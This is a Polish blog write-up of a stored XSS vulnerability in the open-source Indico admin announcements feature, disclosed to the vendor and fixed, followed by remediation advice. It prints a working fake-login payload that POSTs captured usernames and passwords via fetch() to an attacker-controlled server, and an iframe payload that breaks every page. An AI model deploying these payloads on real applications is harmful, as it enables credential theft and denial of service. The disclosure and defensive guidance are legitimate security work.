Błędna administracja stroną: Jak hasła użytkowników mogą zostać przejęte
Wprowadzenie
Według tego raportu 65% aplikacji webowych jest podatnych na ataki typu cross-site scripting. W niniejszym artykule omówię podatność Stored Cross-Site Scripting (XSS), którą odkryłem w jednym z projektów open-source.
Główne przyczyny podatności typu stored XSS w aplikacjach webowych to brak wdrożenia zabezpieczeń na punktach końcowych aplikacji oraz niewystarczające mechanizmy ochronne, które można obejść. Pierwszy z tych problemów, czyli brak odpowiednich zabezpieczeń na punktach końcowych, występuje w aplikacji open-source Indico w odniesieniu do jednego z jej endpointów. Zanim jednak przejdę do szczegółów dotyczących Indico i pojawienia się tej podatności, warto najpierw wyjaśnić, czym jest Stored Cross-Site Scripting.
Cross-Site Scripting (XSS)
Stored Cross-Site Scripting (XSS) to rodzaj podatności aplikacji webowej, który umożliwia atakującemu wstrzyknięcie złośliwego kodu do strony internetowej, który następnie jest wyświetlany innym użytkownikom. Atak ten jest możliwy w sytuacji, gdy aplikacja nie stosuje odpowiedniej walidacji i sanitizacji danych wejściowych użytkownika przed ich zapisaniem w bazie danych oraz przed ich wyświetleniem na stronie.
Co odkryłem?
Niedawno znalazłem podatność typu Stored XSS w projekcie open-source Indico. Wykryłem ją podczas testów penetracyjnych aplikacji webowej – procesu mającego na celu identyfikację i wykorzystanie luk bezpieczeństwa w aplikacjach internetowych.
Podatność ta występuje w konkretnej funkcji aplikacji, umożliwiającej administratorom publikowanie ogłoszeń widocznych na wszystkich stronach systemu. Problem wynikał z braku odpowiedniej walidacji i sanitizacji danych wejściowych użytkownika przed ich wyświetleniem na stronie internetowej. W efekcie administrator mógł wstrzyknąć złośliwy kod, np. JavaScript lub iframe, do treści ogłoszeń. Ponieważ ogłoszenia były wyświetlane na wszystkich stronach aplikacji, złośliwy kod wykonywałby się u każdego użytkownika odwiedzającego dowolną stronę systemu.
Analiza powierzchni ataku
Aplikacja nie jest podatna na kradzież ciasteczek sesyjnych użytkowników, ponieważ w pliku cookie sesji ustawiono flagę HttpOnly
, jak pokazano na poniższym zrzucie ekranu. Uniemożliwia to odczytanie wartości cookie przez JavaScript, a tym samym zapobiega jego kradzieży przez XSS.

Jeśli chcesz sprawdzić, czy Twoja aplikacja webowa używa ciasteczek sesyjnych z flagami bezpieczeństwa, wykonaj następujące kroki:
Kliknij trzy kropki w prawym górnym rogu przeglądarki.

Wybierz opcję „Więcej narzędzi” z menu rozwijanego, a następnie „Narzędzia dla deweloperów”.

W panelu narzędzi deweloperskich przejdź do zakładki „Aplikacja”, a następnie kliknij „Ciasteczka” w lewym dolnym rogu. Sprawdź, czy dla ciasteczek sesyjnych ustawione są flagi HttpOnly
, Secure
i SameSite
.

Scenariusz ataku nr 1 – Kradzież nazw użytkowników i haseł
Jednym z potencjalnych scenariuszy ataku wykorzystujących tę podatność jest kradzież hasła użytkownika. Napastnik mógłby wstrzyknąć JavaScript do ogłoszenia, podszywając się pod formularz logowania, aby wykradać hasła użytkowników w momencie ich wyświetlenia. Przyjrzyjmy się temu scenariuszowi bliżej!

Aby przeprowadzić atak, napastnik potrzebuje konta administratora oraz serwera WWW z dostępem do logów lub narzędzi rejestrujących żądania i odpowiedzi, takich jak Burp Suite Collaborator lub RequestBin.com. W tej demonstracji używam Burp Suite Collaborator.
1.1. Po zalogowaniu się jako administrator i przejściu do sekcji „Ogłoszenia” w panelu administracyjnym, atakujący wprowadza w polu „Wiadomość” następujący ładunek zawierający adres Burp Collaborator:

Ładunek kradnący nazwę użytkownika i hasło poprzez Stored XSS
Poznaj niszczycielskie skutki złośliwego ładunku i zobacz, w jaki sposób atakujący może uzyskać dostęp do poufnych informacji, takich jak nazwy użytkowników i hasła. W tej sekcji zagłębimy się w działanie kodu wykorzystującego tę podatność.
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://<ATTACKER-CONTROLLED-SERVER>',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
Opis ładunku
Ładunek został zaprojektowany w celu kradzieży nazwy użytkownika i hasła ofiary poprzez przesłanie ich danych uwierzytelniających na zdalny serwer kontrolowany przez atakującego.
Ładunek Stored Cross-Site Scripting
The payload consists of two input fields: a username field and a password field.
The first input field, „<input name=username id=username>”, creates a blank box text field where the user can enter their username.Ładunek składa się z dwóch pól wejściowych: pola na nazwę użytkownika oraz pola na hasło.
Pierwsze pole wejściowe, „<input name=username id=username>”, tworzy puste pole tekstowe, w którym użytkownik wpisuje swoją nazwę użytkownika.
<input name=username id=username>
Drugie pole wejściowe, „<input type=password name=password onchange=”if(this.value.length)fetch(’https://<ATTACKER-CONTROLLED-SERVER>’,{ method:’POST’, mode: 'no-cors’, body:username.value+’:’+this.value });”>” tworzy pole hasła, w którym użytkownik wpisuje swoje hasło. Zawiera także zdarzenie onchange
, które uruchamia się, gdy użytkownik wprowadzi wartość i przejdzie do innego pola lub naciśnie Enter.
<input type=password name=password onchange="if(this.value.length)fetch('https://<ATTACKER-CONTROLLED-SERVER>',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
Zdarzenie onchange
uruchamia funkcję JavaScript fetch()
, która wysyła żądanie do zdalnego serwera kontrolowanego przez atakującego. Funkcja fetch()
posiada kilka parametrów, w których dzieje się cała magia:
Funkcja fetch()
Pierwszym parametrem funkcji jest adres URL serwera atakującego (https://<SERWER-KONTROLOWANY-PRZEZ-ATAKUJĄCEGO>
). W rzeczywistej próbie ataku zastępuje się go rzeczywistym adresem, np. adresem serwera Burp Collaborator.
Drugim parametrem jest obiekt określający typ żądania i dodatkowe opcje – w tym przypadku jest to żądanie POST
.
Trzecim parametrem jest body
, czyli połączone wartości pól username
i password
oddzielone dwukropkiem. Funkcja fetch()
przesyła te dane do serwera Burp Collaborator.
Warto zaznaczyć, że ten przykład to tylko podstawowy wariant ataku. Prawdziwe ładunki mogą być znacznie bardziej zaawansowane, np. poprzez stworzenie nakładki na panel logowania ukrywającej resztę aplikacji lub zastosowanie innych technik w celu osiągnięcia tego samego efektu.
1.3. Po zapisaniu wiadomości z ogłoszeniem, na każdej stronie aplikacji pojawia się fałszywy panel logowania dla wszystkich zalogowanych użytkowników.

1.4. Gdy kolejny użytkownik loguje się do aplikacji, widzi fałszywy panel logowania:

1.5. Po wprowadzeniu danych przez użytkownika atakujący otrzymuje jego nazwę użytkownika i hasło w Burp Collaborator Client jako nowe żądanie:

Drugi scenariusz ataku – unieruchomienie aplikacji
Innym możliwym scenariuszem ataku jest połączenie tej podatności z podatnością na cross-frame injection w celu unieruchomienia aplikacji. Wstrzykując złośliwy kod do komentarza, który przekierowuje użytkownika na inną stronę lub uniemożliwia załadowanie komponentów aplikacji, atakujący może sprawić, że stanie się ona niedostępna dla użytkowników. Przeanalizujmy ten scenariusz!
2.1. Atakujący loguje się jako administrator, przechodzi do sekcji „Ogłoszenia” w panelu administracyjnym i wprowadza następujący ładunek iframe, podobnie jak w poprzednim ataku:

Ładunek iframe powodujący awarię aplikacji:
"><iframe onx=() onload=(alert)(6)>
OSTRZEŻENIE!
Nie replikuj tego na swojej produkcyjnej instancji Indico. Jeśli będziesz postępować zgodnie z tymi krokami, warto zapisać żądanie na tym etapie. W przeciwnym razie aplikacja może ulec awarii i konieczne będzie jej całkowite zresetowanie, aby ponownie działała. Zapisując żądanie, możesz edytować pole wiadomości bez użycia interfejsu użytkownika. W historii żądań znalazłem następujące zapytanie i wykorzystałem je do przywrócenia działania aplikacji, co widać na poniższym zrzucie ekranu.

Dzięki temu żądaniu zmieniłem treść „Announcement” na „asd” i wszystkie strony w aplikacji zostały przywrócone.
Przykładowe żądanie, jeśli go potrzebujesz. Zmień wartości ciasteczka sesyjnego, tokena CSRF oraz hosta przed użyciem:
POST /admin/announcement HTTP/1.1 Host: 127.0.0.1:8000 Content-Length: 105 Cache-Control: max-age=0 sec-ch-ua: „Not?A_Brand”;v=”8″, „Chromium”;v=”108″ sec-ch-ua-mobile: ?0 sec-ch-ua-platform: „macOS” Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:8000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document R eferer: http://127.0.0.1:8000/admin/announcement Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: indico_session_http=6f6e01f7-27dd-44cf-a994-aa362ae140e3 Connection: close csrf_token=c3e3e25e-91f1-4598-ab23-397380c330c4&enabled=y&message=asd |
2.2. W ostatnim etapie ataku napastnik klika przycisk „Enable” i zapisuje zmiany:

2.3. Po zapisaniu zmian ładunek iframe zostaje załadowany na każdej stronie aplikacji dla wszystkich użytkowników. Co więcej, powoduje on zablokowanie ładowania jakiejkolwiek innej treści strony, co widać poniżej. Powodzenia dla innych użytkowników i administratorów w korzystaniu z aplikacji ☺

2.4. Jak widać na poniższym obrazie, ładunek iframe został potraktowany jak element HTML i wyświetla się na stronie głównej, podobnie jak na wszystkich innych stronach aplikacji.

Zalecenia dotyczące usunięcia podatności
Aby usunąć podatność Stored XSS podobną do tej, którą odkryłem w otwartoźródłowym projekcie Indico, należy podjąć kilka działań zapobiegających podobnym atakom w przyszłości.
Walidacja i sanityzacja danych wejściowych
Jednym z kluczowych kroków w zapobieganiu atakom Stored XSS jest poprawna walidacja i oczyszczanie danych wejściowych na warstwie frontendu przed ich wyświetleniem użytkownikowi. Technika ta sprawdza i modyfikuje dane wejściowe, aby zapobiec wstrzyknięciu szkodliwego kodu. Przykładem może być sprawdzanie poprawności adresu e-mail lub ograniczenie dopuszczalnych znaków w polach formularzy.
Używanie frameworka z wbudowaną ochroną przed XSS
Wykorzystanie frameworka webowego, który posiada zabezpieczenia przed XSS, może znacząco ograniczyć ryzyko wystąpienia podatności. Indico, napisane głównie w Pythonie i wykorzystujące framework Flask, może korzystać z wbudowanych modułów bezpieczeństwa tego frameworka do ochrony przed Stored XSS.
Używanie nagłówków HTTP
- X-XSS-Protection: Umożliwia włączenie lub wyłączenie filtrów XSS w nowoczesnych przeglądarkach (
1; mode=block
włącza filtr,0
go wyłącza). - X-Content-Type-Options: Blokuje nieautoryzowane interpretowanie typów MIME, co zapobiega niektórym atakom XSS. Powinno być ustawione na
nosniff
. - Content-Security-Policy (CSP): Pozwala określić dozwolone źródła treści w aplikacji, ograniczając możliwość wstrzyknięcia nieautoryzowanego kodu JavaScript. Przykładowy nagłówek CSP:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-domain.com; object-src 'none'
- Strict-Transport-Security (HSTS): Ten nagłówek pomaga zapobiegać atakom typu SSL-stripping, które mogą być wykorzystywane do ułatwiania ataków XSS. Ustawiając ten nagłówek, aplikacja webowa może określić, że powinna być dostępna wyłącznie przez bezpieczne, szyfrowane połączenie.
Używanie flag HttpOnly i Secure dla ciasteczek
Flagi ciasteczek są ważnym elementem zabezpieczania ciasteczek przed atakami typu Cross-Site Scripting (XSS). Flagi ciasteczek to atrybuty, które mogą być ustawiane na ciasteczkach, gdy są one wysyłane z serwera do klienta. Określają one zachowanie ciasteczka i mogą pomóc w zapobieganiu atakom XSS, ograniczając zakres ciasteczka i zwiększając jego bezpieczeństwo.
- Flaga HttpOnly może być ustawiona na ciasteczku, aby zapobiec dostępowi JavaScript do jego zawartości.
- Flaga Secure zapewnia, że ciasteczko jest wysyłane tylko przez szyfrowane połączenia (HTTPS), co pomaga zapobiegać podsłuchiwaniu i manipulacjom ze strony atakujących.
- Inną flagą jest SameSite, która może zapobiec wysyłaniu ciasteczka w przypadku żądań między stronami.
Te flagi pomagają zwiększyć bezpieczeństwo ciasteczek i mogą odgrywać istotną rolę w zapobieganiu atakom XSS.
Podsumowanie zabezpieczeń
Zapobieganie podatnościom Stored XSS wymaga wielowarstwowego podejścia, łączącego środki techniczne i proceduralne. Dzięki tym krokom administratorzy i programiści mogą skutecznie chronić aplikacje i ich użytkowników przed zagrożeniami wynikającymi z ataków XSS.
Podsumowanie
Podatność Stored XSS może mieć poważne konsekwencje zarówno dla użytkowników, jak i właścicieli aplikacji webowych. W tym artykule przeanalizowaliśmy konkretny scenariusz, w którym administrator aplikacji mógł wykorzystać Stored XSS do kradzieży haseł użytkowników. Kluczowe znaczenie ma walidacja i oczyszczanie danych wejściowych oraz wdrażanie odpowiednich zabezpieczeń XSS. Testy penetracyjne aplikacji webowych są niezbędnym elementem strategii bezpieczeństwa i mogą pomóc w wykrywaniu takich podatności. Po dokładnej analizie i ocenie zarząd ds. bezpieczeństwa Indico postanowił nie zgłaszać CVE dla tej podatności, ponieważ jej wykorzystanie wymagałoby dostępu uprzywilejowanego.
Oś czasu
- 2023-01-19 Zgłosiłem podatność do zespołu Indico.
- 2023-01-27 Zespół bezpieczeństwa Indico odpowiedział i zamknął podatność, wprowadzając poprawkę.
Źródła:
- https://www.researchgate.net/figure/Percentage-probability-of-websites-vulnerable-by-different-class-of-cyber-vulnerabilities_fig1_279869021
- https://portswigger.net/web-security/cross-site-scripting/exploiting
- https://github.com/indico/indico/pull/5640

Czy artykuł jest pomocny? Podziel się nim ze swoimi znajomymi.